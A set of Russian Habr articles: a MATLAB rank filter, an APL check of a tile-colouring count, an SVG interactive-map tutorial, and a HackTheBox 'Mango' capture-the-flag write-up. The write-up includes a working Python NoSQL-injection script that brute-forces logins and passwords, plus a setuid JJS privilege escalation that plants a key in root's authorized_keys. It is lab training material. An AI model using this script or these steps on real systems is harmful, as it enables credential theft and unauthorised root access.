Тестирующий скрипт будет читать изображение, смазывать его, и добавлять шум. Затем изображение восстанавливается данным экстремальным фильтров.
``> 1. I1 = imread('coins.png');
> 2. h = ones(3,3) / 9;
> 3. I2 = imfilter(I1,h) ;
> 4. I3 = imnoise(I2,'salt & pepper',0.02);
> 5. I4 = im2\_rang\_filter (I3, 1, 2);
> 6.
> 7. figure; imagesc(I1);
> 8. colormap gray;
> 9. figure; imagesc(I3);
> 10. colormap gray;
> 11. figure; imagesc(I4)
> 12. colormap gray;
> \* This source code was highlighted with Source Code Highlighter.`
Код функции фильтра *im2\_rang\_filter*:
``> 1. function outImage= im2\_rang\_filter (aImage, aHalfWindowSize, aOtsup)
> 2. [ver,hor] = size(aImage);
> 3. wsize = (aHalfWindowSize\*2+1)^2;
> 4. result = zeros(ver,hor);
> 5. for i = aHalfWindowSize+1 : (ver - aHalfWindowSize)
> 6. for j = aHalfWindowSize+1 : (hor - aHalfWindowSize)
> 7.
> 8. wind = aImage((i-aHalfWindowSize) : (i + aHalfWindowSize), (j-aHalfWindowSize) : (j + aHalfWindowSize));
> 9. vec = reshape(wind,1,wsize);
> 10. vec = sort(vec);
> 11.
> 12. if (abs(vec(aOtsup+1) - aImage(i,j)) < abs(vec(wsize - aOtsup) - aImage(i,j)) )
> 13. result(i,j) = vec(aOtsup+1);
> 14. else result(i,j) = vec(wsize - aOtsup);
> 15. end;
> 16.
> 17. end;
> 18. end;
> 19. outImage = result;
> \* This source code was highlighted with Source Code Highlighter.`
#### Экперименты
Ниже показаны результаты фильтрации окном 3 на 3 при варьировании параметра k = 1,2,5. Первый рисунок — исходное изображение, второй рисунок — искаженное, далее друг за другом идут отфильтрованные при k=1, 2, 5:
Исходное:
Искаженное:
Восстановленное при k=1:
Восстановленное при k=2:
Восстановленное при k=5:
Мне этот фильтр очень нравится и я активно использую его на практике. Интересно мнение читателей об это фильтре.`` | https://habr.com/ru/post/114551/ | null | ru | null |
# Считаем комбинации мозаик при помощи APL
Это короткая статья о том, как я воспользовался APL для проверки своих комбинаторных вычислений.
Преамбула
=========
Наш местный университет проводит еженедельные соревнования по математическим задачам, которые может решать любой. На прошлой неделе задача относилась к комбинаторике и звучала следующим образом:
«Есть сетка 3 на 3 из квадратов, образующая мозаику. Сколькими способами мы можем раскрасить эту мозаику, если у нас есть 3 цвета и соседние квадраты не могут быть одного цвета?»
Под «соседними» понимаются соседние по вертикали или горизонтали. Авторы задачи дали подсказку (если не хотите спойлеров, то сразу переходите к следующему разделу!):
**Подсказка**
«Пронумеруйте квадраты от 1 до 9, а затем поработайте с цветами чётных квадратов. Это позволит определить цвета нечётных квадратов».
Комбинаторика никогда не была моей сильной стороной, но я хотел решить эту задачу. Я сел и начал прикидывать решение.
Завершив вычисления, я решил быстренько проверить своё решение при помощи [APL](https://apl.wiki) — очень милого языка программирования, который я изучал в течение последних двух лет.
Это статья о том, как я за 30 секунд проверил на APL своё решение задачи.
1. Я начну с демонстрации моего ошибочного доказательства (в том виде, в котором я его записал);
2. Затем я расскажу, что сделал на APL, чтобы проверить своё решение;
3. Далее я покажу свою исходную ошибку, и наконец
4. Я ещё немного поработаю с кодом на APL, чтобы сделать его чище.
Моё исходное решение
====================
Ниже представлено моё исходное решение изложенной выше задачи. В качестве упражнения попробуйте найти изъяны в моих рассуждениях и вычислениях. Поехали.
«Как и сказано в подсказке к формулировке задачи, пронумеруем квадраты в сетке:
`1 2 3
4 5 6
7 8 9`
Теперь мы изучим все возможные комбинации цветов как функцию цветов, связанную с квадратами 2, 4, 6 и 8.
Чётные квадраты могут использовать только до 2 цветов, в противном случае для квадрата 5 не останется допустимого цвета.
Предположим, что чётные квадраты имеют один цвет. В таком случае нечётные квадраты можно раскрашивать произвольным образом. Это даёт нам в сумме  мозаик.
Теперь давайте предположим, что чётные квадраты имеют 2 цвета. Давайте зафиксируем цвет квадрата 2, который может быть любым из трёх доступных цветов. Далее есть один, два или три квадрата с цветом, отличающимся от квадрата 2, но одинаковым между ними. Рассмотрим каждый из этих трёх случаев по отдельности.
Начнём с предположения о том, что есть только один квадрат, отличающийся цветом от цвета квадрата 2. Этот цвет может быть только одним из двух. Далее нам нужно выяснить, сколькими способами мы можем раскрасить нечётные квадраты. Это будет зависеть от позиции чётного квадрата, цвет которого отличается от цвета квадрата 2. Существует три возможных схемы, где `⎕` обозначает цвет квадрата 2, `X` обозначает цвет другого квадрата, а `?` обозначает неизвестный цвет нечётных квадратов:
* Случай 1
`? ⎕ ?
⎕ ? X
? ⎕ ?`
* Случай 2
`? ⎕ ?
X ? ⎕
? ⎕ ?`
* Случай 3
`? ⎕ ?
⎕ ? ⎕
? X ?`
Все эти случаи дают одинаковое общее количество различных раскрасок, потому что они являются поворотами друг друга, поэтому давайте рассмотрим только случай 1. В случае 1 квадраты 1 и 7 могут иметь 2 разных цвета каждый. Цвета квадратов 3, 5 и 9 фиксированы. Следовательно, если квадрат 2 имеет фиксированный цвет, а только один из других чётных квадратов имеет цвет, отличающийся от квадрата 2, мы получаем в сумме  вариантов раскраски.
Теперь предположим, что квадрат 2 имеет фиксированный цвет, и есть два других чётных квадрата с цветом, отличающимся от цвета квадрата 2:
* Случай 1
`? ⎕ ?
X ? X
? ⎕ ?`
* Случай 2
`? ⎕ ?
⎕ ? X
? X ?`
* Случай 3
`? ⎕ ?
X ? ⎕
? X ?`
Случай 1 имеет 6 вариантов раскраски. Случаи 2 и 3 имеют по  раскрасок каждый, суммарно  раскрасок.
Единственный сценарий, который мы не учли — когда квадрат 2 имеет фиксированный цвет, а все остальные чётные квадраты имеют другой цвет:
* Случай 1
`? ⎕ ?
X ? X
? X ?`
Этот случай имеет  раскрасок.
Следовательно, в общей сумме мы получили
То есть, согласно моим вычислениям, существует 879 уникальных вариантов раскраски».
Увы, мои вычисления ошибочны. Но на данном этапе я ещё об этом не знал. (А вам уже удалось найти ошибки?)
Проверка решения с помощью APL
==============================
На этом этапе мне захотелось убедиться, что я делаю всё правильно. Для этого я просто открыл интерпретатор APL и быстренько написал код для проверки своего решения.
Мой код делал следующее: генерировал все возможные мозаики, исключал те, которые не удовлетворяют требованию наличия разных цветов у соседних квадратов, и подсчитывал допустимые комбинации.
Генерируем все возможные мозаики
--------------------------------
Сгенерировать все возможные мозаики проще некуда.
(Спойлер: это касается и остальных шагов!)
Я решил, что закодирую 3 разных цвета как 0, 1 и 2, то есть мне достаточно сгенерировать все матрицы 3 на 3, содержащие все комбинации 0, 1 и 2 во всех позициях.
Я подумал, что можно сгенерировать все последовательности (размера 9) всех трёх чисел, а затем преобразовать эти последовательности в соответствующие матрицы, обозначающие сетку.
Следовательно, я преобразовывал
`seq
0 1 0 1 1 0 2 2 2`
в
`3 3⍴seq
0 1 0
1 1 0
2 2 2`
Мне достаточно было просто сгенерировать все возможные последовательности.
Когда вам нужно сгенерировать последовательности фиксированного размера, содержащие все комбинации набора чисел, то помните, что для этого, возможно, подойдёт decode (`⊥`).
Если вкратце, то все нужные нам последовательности можно рассматривать как цифры числа по основанию, соответствующему количеству различных цветов.
Например, показанную выше последовательность можно рассматривать как число 2537 в троичной системе:
`3⊥seq
2537
3⊥⍣¯1⊢2537
1 0 1 1 0 2 2 2
seq ⍝ the leading 0 is missing from this example.
0 1 0 1 1 0 2 2 2`
Мы знаем, что нам нужно  последовательностей, поэтому мы просто генерируем все цифры от  до  и преобразуем их в троичный вид:
`3⊥⍣¯1⊢⍳3*9
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...
0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 2 2 2 2 2 ...
0 0 0 1 1 1 2 2 2 0 0 0 1 1 1 2 2 2 0 0 0 1 1 ...
0 1 2 0 1 2 0 1 2 0 1 2 0 1 2 0 1 2 0 1 2 0 1 ...`
Теперь нужно преобразовать каждый столбец в соответствующую мозаику. Это просто, нужно сначала транспонировать массив, а затем использовать оператор ранга (`⍤`) для преобразования каждой строки матрицы:
`boards ← 3 3∘⍴⍤1⍉3⊥⍣¯1⊢⍳3*9
4↑boards
0 0 0
0 0 0
0 0 0
0 0 0
0 0 0
0 0 1
0 0 0
0 0 0
0 0 2
0 0 0
0 0 0
0 1 0`
Теперь, когда у нас есть все  сеток, нам нужно подсчитать только те из них, которые допустимы.
Проверяем допустимость сеток
----------------------------
Воспользовавшись n-мерном редуцированием при помощи функции равенства (`=`) мы можем легко проверить, имеют ли соседние квадраты один цвет:
`board ← 3 3⍴seq
board
0 1 0
1 1 0
2 2 2
2=/board
0 0
1 0
1 1
2=⌿board
0 1 1
0 0 0`
Подсчитываем допустимые сетки
-----------------------------
Теперь нам просто нужно применить эту проверку для всех сеток. Мы снова можем воспользоваться оператором ранга (`⍤`), чтобы применить функцию к каждой подматрице в трёхмерном массиве `boards`.
Если мы создадим функцию, проверяющую допустимость сетки, а затем применим её ко всем сеткам, то сможем суммировать результат и получить количество допустимых сеток:
`Valid ← {0=+/(2=⌿⍵),⍥,2=/⍵}
Valid board
0
+⌿Valid⍤2⊢boards
246`
Как видите, получен ответ 246, а не 879.
В этой статье я рассказываю всю историю подробно, но когда я делал это сам, то для получения ответа на APL мне понадобилось 30-60 секунд.
Любопытно то, что я всё равно доверяю своим комбинаторным навыкам больше, чем своим навыкам APL (а это глупо!), а поэтому несколько минут смотрел на свой короткий код на APL, задаваясь вопросом, не сделал ли я ошибку в программе.
Спустя какое-то время я подумал «А что если ошибочны мои вычисления?».
Ошибка в математическом решении
===============================
Снова взглянув на свои вычисления, я заметил совершённую оплошность:
«Предположим, что чётные квадраты имеют один цвет. В таком случае нечётные квадраты можно раскрашивать произвольным образом. Это даёт нам в сумме  мозаик».
Это неверно! Если все чётные квадраты имеют один цвет, то пяти нечётным квадратам можно выбрать один из двух оставшихся цветов, что даёт суммарно  мозаик, а не .
Подставив это новое число в готовые вычисления, мы получим
И теперь мои вычисления верны!
На этом этапе я был доволен проделанной работой и уже готовился отправить решение авторам задачи. Но прежде чем сделать это, я ради хвастовства вставил в конец своего решения все 246 допустимых сеток.
Как оказалось, их легко получить при помощи APL:
`boards⌿⍨Valid⍤2⊢boards
0 1 0
1 0 1
0 1 0
0 1 0
1 0 1
0 1 2
0 1 0
1 0 1
0 2 0
0 1 0
1 0 1
2 1 0
...`
Совершенствуем код на APL
=========================
После всего этого я решил вернуться к своему коду на APL и посмотреть, можно ли его улучшить.
В конце концов, я довольно часто использовал `⍤` в стиле циклов. Я хотел понять, можно ли сделать код более ориентированным на массивы.
Как оказалось, это возможно (и неудивительно)!
Во-первых, для генерации всех сеток нужно подходящее преобразование `⍴`:
`boards ← n 3 3⍴⍉3⊥⍣¯1⊢⍳n ← 3*9
4↑boards
0 0 0
0 0 0
0 0 0
0 0 0
0 0 0
0 0 1
0 0 0
0 0 0
0 0 2
0 0 0
0 0 0
0 1 0`
Во-вторых, я могу выполнить проверки соседства для целого 3D-массива! Достаточно просто использовать для этого нужную ось:
`2=⌿[1]boards
1 1 1
1 1 1
1 1 1
1 1 0
1 1 1
1 1 0
1 1 1
1 0 1
...
2=⌿[2]boards
1 1
1 1
1 1
1 1
1 1
1 0
1 1
1 1
1 0
1 1
1 1
0 0
...`
Чтобы скомбинировать эти две редукции, приводящие к получению двух 3D-массивов разной формы, я просто редуцировал каждый по отдельности при помощи вектора:
* один проверяет, какая из сеток имеет соседние одинаковые цвета по вертикали
* другой проверяет, какая из сеток имеет соседние одинаковые цвета по горизонтали.
В конце мы суммируем их и ищем сетки *без* соседних квадратов с одинаковыми цветами:
`valid ← 0=(+/+/2=/[1]boards)+(+/+/2=/[2]boards)
+/valid
246
4↑valid⌿boards
0 1 0
1 0 1
0 1 0
0 1 0
1 0 1
0 1 2
0 1 0
1 0 1
0 2 0
0 1 0
1 0 1
2 1 0`
Великолепно. Для написания «всего этого кода» (на самом деле, двух коротких строк!) не понадобилось никаких усилий. Потребовалось гораздо больше времени на написание статьи, чем на код! | https://habr.com/ru/post/589449/ | null | ru | null |
# HackTheBox. Прохождение Mango. NoSQL инъекция и LPE через JJS
Продолжаю публикацию решений отправленных на дорешивание машин с площадки [HackTheBox](https://www.hackthebox.eu).
В данной статье эксплуатируем NoSQL инъекцию в форме авторизации, а также повышаем привилегии через JJS.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
**Организационная информация**
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал [канал в Telegram](https://t.me/RalfHackerChannel) и [группу для обсуждения любых вопросов](https://t.me/RalfHackerPublicChat) в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации [рассмотрю лично и отвечу всем](https://t.me/hackerralf8).
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
-----
Данная машина имеет IP адрес 10.10.10.162, который я добавляю в /etc/hosts.
```
10.10.10.162 mango.htb
```
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.
```
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162 --rate=1000
```
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
```
nmap -A mango.htb -p22,80,443
```
Первым делом идем смотреть сайт. При обращении к mango.htb нас кидают с http на https, и говорят о проблеме с сертификатом. Если согласиться на риски, то можно увидеть эту страницу.
Но больше ничего интересного. В скане nmap отражена информация ssl-cert, где указан домен. Добавим его в /etc/hosts.
`10.10.10.162 staging-order.mango.htb`
И зайдем глянуть что там.
Здесь есть форма авторизации — возможная точка входа.
Entry Point
-----------
Пробуем несколько техник инъекций для обхода авторизации. И мы находим стандартную NoSql инъекцию, сравнивая реакцию на два условия: логин равен 123, пароль равен 123 и логин не равен 123, пароль не равен 123.
И после успешного истинного результата второго условия, получаем переадресацию на home.php. Таким образом возможна NoSql инъекция.
Так как на страницу ничего интересного нет, единственное что мы можем взять с данной уязвимости — логины и пароли.
USER
----
Давайте посмотри длины максимальных логинов и паролей. Для этого можно использовать следующие конструкции:
*login[$regex]=.{length}&password[$ne]=123* — для логина (происходит сравнение по регулярному выражению для логина и отрицание неверного пароля);
*login[$ne]=123; password[$regex]=.{length}* для пароля.
Сделаем это с помощью burp intruder.
Таким образом, длина самого длинного логина — 5 символов. Проделав те же операции для пароля, узнаем, что длина самого длинного — 16 символов.
Так как руками это перебирать слишком долго, напишем скрипт на python. Сначала сделаем сессию для работы.
```
import string
import requests
alfa = string.printable
URL = 'http://staging-order.mango.htb'
r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}
logins = []
```
Далее реализуем функцию для перебора логинов. Перебор будет осуществляться с помощью следующего регулярного выражения ^name.\* — таким образом мы будем вытягивать по одному символу.
```
def logins_find(login):
is_find = False
for char in alfa[:62]:
data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
resp = r.post(URL, data=data)
print('login: %s ' % (login+char), end='\r')
if len(resp.history):
is_find = True
logins_find(login+char)
if not is_find:
print('login found: %s ' % (login))
logins.append(login)
```
И подобная функция, только уже с использованием найденного логина.
```
def passwords_find(login, password):
is_find = False
for char in alfa:
if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
char = '\\' + char
data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
resp = r.post(URL, data=data)
print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
if len(resp.history):
is_find = True
passwords_find(login, password+char)
if not is_find:
print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
```
ПОЛНЫЙ КОД:
```
#!/usr/bin/python3
import string
import requests
alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'
r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}
logins = []
def logins_find(login):
is_find = False
for char in alfa[:62]:
data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
resp = r.post(URL, data=data)
print('login: %s ' % (login+char), end='\r')
if len(resp.history):
is_find = True
logins_find(login+char)
if not is_find:
print('login found: %s ' % (login))
logins.append(login)
def passwords_find(login, password):
is_find = False
for char in alfa:
if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
char = '\\' + char
data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
resp = r.post(URL, data=data)
print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
if len(resp.history):
is_find = True
passwords_find(login, password+char)
if not is_find:
print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
print("SEARCH logins:")
logins_find("")
print("\nSEARCH passwords:")
[ passwords_find(login, "") for login in logins ]
```
И, как результат, находим учетные данные двух пользователей.
С учетными данными успешно подключаемся по SSH.
У нас есть пароль от второго пользователя, но он не дает залогиниться по SSH. Пробуем локально изменить пользователя, указав известный нам пароль.
ROOT
----
Проведем базовое перечисление, с помощью скрипта [LinEnum](https://github.com/rebootuser/LinEnum).
И находим программу с выставленным S-битом.
Проверяем JJS на пример [GTFOBins](https://gtfobins.github.io/).
Так же там представлены примеры эксплуатации. Вызвать локальный шелл не вышло. Но можно сгенерировать ssh ключи, записать публичный в /root/.ssh/authorized\_keys и подключиться с помощью приватного.
Давайте считаем публичный ключ.
И теперь запишем его.
И теперь подключимся как root.
Вы можете присоединиться к нам в [Telegram](https://t.me/RalfHackerChannel). Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ. | https://habr.com/ru/post/497912/ | null | ru | null |
# Делаем интерактивный план местности за 15 минут
На Тостере часто спрашивают о том, как сделать интерактивную схему дома, план его внутреннего устройства, возможность выбора этажей или квартир с выводом информации о них, вывод информации о деталях того или иного товара при наведении мыши на них на фотографии и.т.д. Речь там идет не о трехмерной модели, а именно о картинке с возможностью подсветить те или иные детали. Все эти задачи похожие и решаются достаточно просто, но тем не менее вопросы продолжают появляться, так что сегодня мы рассмотрим, как подобные вещи делаются при помощи SVG, графического редактора и щепотки javascript.
Выбор именно SVG обусловлен тем, что это максимально простой для разработки и отладки вариант. Я встречал людей, которые советовали все это делать на canvas, но там гораздо сложнее понять, что происходит, да и координаты всех точек на кривых нужно как-то заранее рассчитать, а здесь – открыл инструменты разработчика и сразу видишь всю структуру, все объекты, с которыми идет взаимодействие, а все остальное можно накликать мышкой в человеко-понятном интерфейсе. Производительность между обычным 2d-канвасом и SVG почти не будет отличаться. WebGL может дать некоторый бонус в этом плане, но и сроки разработки вырастут в разы, не говоря уже о дальнейшей поддержке, что не всегда вписывается в бюджет. Я бы даже сказал “никогда не вписывается”.
В этом туториале мы сделаем что-то вроде виджета для вымышленного сайта по аренде частных домов в каком-то районе, но понятно, что рассматриваемые принципы создания таких вещей применимы к любой тематике.
Начинаем начинать
-----------------
Я буду все показывать на примере [Inkscape](https://inkscape.org/), но все те же действия можно провернуть и в любом другом редакторе используя аналогичные функции.
Для работы нам понадобятся два основных диалоговых окна:
* XML Editor (Ctrl+Shift+X или иконка с угловыми скобками) — для просмотра структуры документа в виде разметки и редактирования отдельных элементов.
* Fill and Stroke (Ctrl+Shift+F или иконка с кистью в рамке) — в основном для заливки контуров.
Сразу запускаем их и переходим к созданию документа.
> Если вы случайно перетянули их в отдельное окно, то можно кликнуть под верхней рамкой этого окна (где ничего нет), и перетянуть их обратно в основное. Это не совсем интуитивно понятно, но довольно удобно.
Открываем фотографию с видом на район. Мы можем выбрать – вставить саму картинку в виде base64-строки или внешней ссылкой. Поскольку она большая, выбираем ссылку. Путь к картинке потом поменяем руками при внедрении всего в страницы сайта. Создастся SVG-документ, в который фотография будет встроена через тег image.
> Для растровых картинок, встроенных в SVG, встроенных в HTML, можно будет использовать lazy loading, так же, как и для обычных картинок на страницах. В этом примере мы не будем останавливаться на таких оптимизациях, но не стоит про них забывать в практической работе.
На текущем этапе видим перед собой примерно такую картину:
Теперь создаем новый слой (Ctrl+Shift+N или Menu > Layer > Add layer). В XML-редакторе видим, что появился обычный элемент g. Пока далеко не ушли, можем задать ему class, который потом будем использовать в скриптах.
> Не стоит полагаться на id. Чем сложнее интерфейс, тем проще схлопотать их повторение и получить странные баги. А в нашей задаче от них все равно пользы нет никакой. Так что классы или data-атрибуты – наш выбор.
Если пристально посмотреть на структуру документа в XML-редакторе, то можно заметить, что там много лишнего. Любой более-менее сложный векторный графический редактор будет добавлять что-то свое в документы. Убирать все это руками – дело долгое и неблагодарное, редактор постоянно будет что-то добавлять заново. Так что очистка SVG от мусора производится только в конце работы. И желательно в автоматизированном виде, благо есть готовые варианты, тот же [svgo](https://github.com/svg/svgo) к примеру.
Находим инструмент под названием Draw Bezier curves and Straight Lines (Shift+F6). С его помощью будем рисовать замкнутые контуры вокруг объектов. В нашей задаче нужно обрисовать все здания. Для примера ограничимся шестью, но в реальных условиях стоило бы заранее выделить время для того, чтобы аккуратно обрисовать все необходимые объекты. Хотя часто бывает, что есть много похожих сущностей – те же этажи на здании могут быть абсолютно идентичными. В таких случаях можно немного ускориться и копипастить кривые.
После того, как обвели нужные здания, возвращаемся в XML-редактор, добавляем классы или, что скорее всего будет даже удобнее, data-атрибуты с индексами для них (можно и с адресами, но т.к. у нас район вымышленный — есть только индексы), и перемещаем все в ранее созданный слой, чтобы все было “разложено по полочкам”. И картинку, кстати, тоже будет полезно туда переместить, чтобы все было в одном месте, но это уже мелочи.
Теперь, выбрав один path – кривую вокруг здания, можно выбрать их все с помощью Ctrl+A или Menu > Edit > Select All и редактировать одновременно. Нужно их все закрасить в окне Fill and Stroke, а заодно там же убрать лишнюю обводку. Ну или добавить ее, если она нужна из соображений дизайна.
> Имеет смысл закрасить все контуры каким-нибудь цветом с минимальным значением opacity для них, даже если это не нужно в плане дизайна. Дело в том, что “умные” браузеры считают, что нельзя кликнуть по пустому контуру, а по залитому – можно, даже если никто этой заливки не видит.
В нашем примере оставим небольшую подсветку белым цветом, чтобы лучше видеть, с какими именно зданиями работаем, сохраним все и плавно переместимся в браузер и более привычный редактор кода.
Базовый пример
--------------
Сделаем пустую html-страницу, вставим полученную SVG прямо в нее и добавим немного CSS, чтобы ничего не вылезало за границы экрана. Тут даже комментировать нечего.
```
.map {
width: 90%;
max-width: 1300px;
margin: 2rem auto;
border: 1rem solid #fff;
border-radius: 1rem;
box-shadow: 0 0 .5rem rgba(0, 0, 0, .3);
}
.map > svg {
width: 100%;
height: auto;
border-radius: .5rem;
}
```
Вспоминаем, что добавили зданиям классы, и используем их, чтобы CSS был более-менее структурированным.
```
.building {
transition: opacity .3s ease-in-out;
}
.building:hover {
cursor: pointer;
opacity: .8 !important;
}
.building.-available {
fill: #0f0 !important;
}
.building.-reserved {
fill: #f00 !important;
}
.building.-service {
fill: #fff !important;
}
```
Поскольку мы задавали инлайновые стили в Inkscape, в CSS нужно их перебить. Было бы удобнее все делать в CSS? И да, и нет. Зависит от ситуации. Иногда выбора нет. Например если дизайнер нарисовал много всего разноцветного и переносить все в CSS и раздувать его до невозможности как-то не комильфо. В данном примере я использую “неудобный” вариант, чтобы показать, что и он не особенно то и страшный в контексте решаемой задачи.
Предположим, что к нам прилетели свежие данные по домам, и добавим им разные классы в зависимости от их текущего статуса:
```
const data = {
id_0: { status: 'service' },
id_1: { status: 'available' },
id_2: { status: 'reserved' },
id_3: { status: 'available' },
id_4: { status: 'available' },
id_5: { status: 'reserved' },
messages: {
'available': 'Доступно для аренды',
'reserved': 'Зарезервировано',
'service': 'Доступно через 1-2 дня'
}
};
const map = document.getElementById('my-map');
const buildings = map.querySelectorAll('.building');
for (building of buildings) {
const id = building.getAttribute('data-building-id');
const status = data[`id_${id}`].status;
building.classList.add(`-${status}`);
}
```
Получим что-то такое:
Уже виднеется что-то похожее на то, что нам нужно. На данном этапе мы имеем подсвеченные объекты на плане местности, которые реагируют на наведение мыши. И не составляет труда добавить для них реагирование на нажатие кнопки мыши через стандартный addEventListener.
Leader Line
-----------
Часто встречается задача сделать линии, которые будут соединять объекты на карте и какие-то элементы на странице с дополнительной информацией, а также сделать минимальные всплывающие подсказки при наведении на эти самые объекты. Для решения этих задач очень неплохо подходит мини-библиотека [leader-line](https://github.com/anseki/leader-line), которая создает векторные стрелочки на любой вкус и цвет.
Давайте добавим к данным цены для всплывающих подсказок и сделаем эти линии.
```
const data = {
id_0: { price: '3000', status: 'service' },
id_1: { price: '3000', status: 'available' },
id_2: { price: '2000', status: 'reserved' },
id_3: { price: '5000', status: 'available' },
id_4: { price: '2500', status: 'available' },
id_5: { price: '2500', status: 'reserved' },
messages: {
'available': 'Доступно для аренды',
'reserved': 'Зарезервировано',
'service': 'Производится техническое обслуживание (1-2 дня)'
}
};
const map = document.getElementById('my-map');
const buildings = map.querySelectorAll('.building');
const info = map.querySelector('.info');
const lines = [];
for (building of buildings) {
const id = building.getAttribute('data-building-id');
const status = data[`id_${id}`].status;
const price = data[`id_${id}`].price;
building.classList.add(`-${status}`);
const line = new LeaderLine(
LeaderLine.pointAnchor(building, { x: '50%', y: '50%' }),
LeaderLine.pointAnchor(info, { x: '50%', y: 0 }),
{
color: '#fff',
startPlug: 'arrow1',
endPlug: 'behind',
endSocket: 'top'
}
);
lines.push(line);
}
```
Как можно заметить, ничего сложного не происходит. У линии есть “места крепления” к элементам. Координаты этих точек относительно элементов обычно удобно определять в процентах. В целом там есть много разных опций, перечислять и запоминать которые не имеет смысла, так что рекомендую просто полистать документацию. Одна из этих опций – startLabel – понадобится нам для создания маленькой всплывающей подсказки с ценой.
```
const line = new LeaderLine(
LeaderLine.pointAnchor(building, { x: '50%', y: '50%' }),
LeaderLine.pointAnchor(info, { x: '50%', y: 0 }),
{
startLabel: LeaderLine.captionLabel(`${price}р/сутки`, {
fontFamily: 'Rubik Mono One',
fontWeight: 400,
offset: [-30, -50],
outlineColor: '#555'
}),
color: '#fff',
startPlug: 'arrow1',
endPlug: 'behind',
endSocket: 'top',
hide: true
}
);
```
> Никто не мешает все подсказки рисовать в графическом редакторе. Если у них предполагается неизменный контент, то это может быть даже удобно. Особенно если есть желание задавать им разное положение для разных объектов.
Мы также можем добавить опцию hide, чтобы все линии не отображались в виде веника. Будем показывать их по одной при наведении мыши на здания, которым они соответствуют:
```
building.addEventListener('mouseover', () => {
line.show();
});
building.addEventListener('mouseout', () => {
line.hide();
});
```
Здесь же можно выводить дополнительную информацию (в нашем случае просто текущий статус объекта) в место для информации. Получится уже почти то, что нужно:
Такие штуки редко проектируют под мобильные устройства, но стоит вспомнить о том, что их часто делают на весь экран на десктопе, да еще и с какими-нибудь панелями сбоку для дополнительной информации и нужно все красиво растянуть. Как-то так к примеру:
```
svg {
width: 100%;
height: 100%;
}
```
При этом пропорции SVG-элемента определенно не будут совпадать с пропорциями картинки внутри. Что же делать?
Несовпадающие пропорции
-----------------------
Первая вещь, которая приходит на ум – это свойство [object-fit:cover](https://developer.mozilla.org/en-US/docs/Web/CSS/object-fit) из CSS. Но есть один момент: оно совершенно не умеет работать с SVG. А даже если бы и работало, то дома по краям плана могли бы вылезти за края схемы и стать абсолютно недоступными. Так что здесь нужно пойти несколько более сложным путем.
Шаг первый. У SVG бывает атрибут [preserveAspectRatio](https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/preserveAspectRatio), который в некоторой степени аналогичен свойству object-fit (не совсем, конечно, но...). Задав `preserveAspectRatio="xMinYMin slice"` для основного SVG-элемента нашего плана получим растянутую схему без пустот по краям и без искажений.
Шаг второй. Нужно сделать перетаскивание мышкой. Технически такая возможность у нас осталась. Вот тут уже задачка посложнее, особенно для новичков. В теории у нас есть стандартные события для мышки и тачскрина, которые можно обработать и получить значение, на сколько нужно подвинуть карту. Но на практике можно в этом увязнуть очень надолго. На помощь придет [hammer.js](https://hammerjs.github.io/) – еще одна небольшая библиотека, которая берет всю внутреннюю кухню на себя и предоставляет простой интерфейс для работы с перетаскиваниями, свайпами и.т.д.
Нам нужно сделать перемещение слоя со зданиями и картинкой во все стороны. Сделать это несложно:
```
const buildingsLayer = map.querySelector('.buildings_layer');
const hammertime = new Hammer(buildingsLayer);
hammertime.get('pan').set({
direction: Hammer.DIRECTION_ALL
});
```
По умолчанию hammer.js включает распознание еще и свайпов, но они нам не нужны на карте, так что выключаем их сразу, чтобы не морочили голову:
```
hammertime.get('swipe').set({ enable: false });
```
Теперь нужно как-то понять, что именно нужно поститать, чтобы перемещать карту только до ее краев, но не дальше. Нехитрым представлением двух прямоугольников в голове понимаем, что для этого нужно узнать отступы слоя со зданиями от родительского элемента (SVG в нашем случае) со всех четырех сторон. На помощь приходит getBoundingClientRect:
```
const layer = buildingsLayer.getBoundingClientRect();
const parent = svg.getBoundingClientRect();
const offsets = {
top: layer.top - parent.top,
bottom: layer.bottom - parent.bottom,
right: layer.right - parent.right,
left: layer.left - parent.left,
};
```
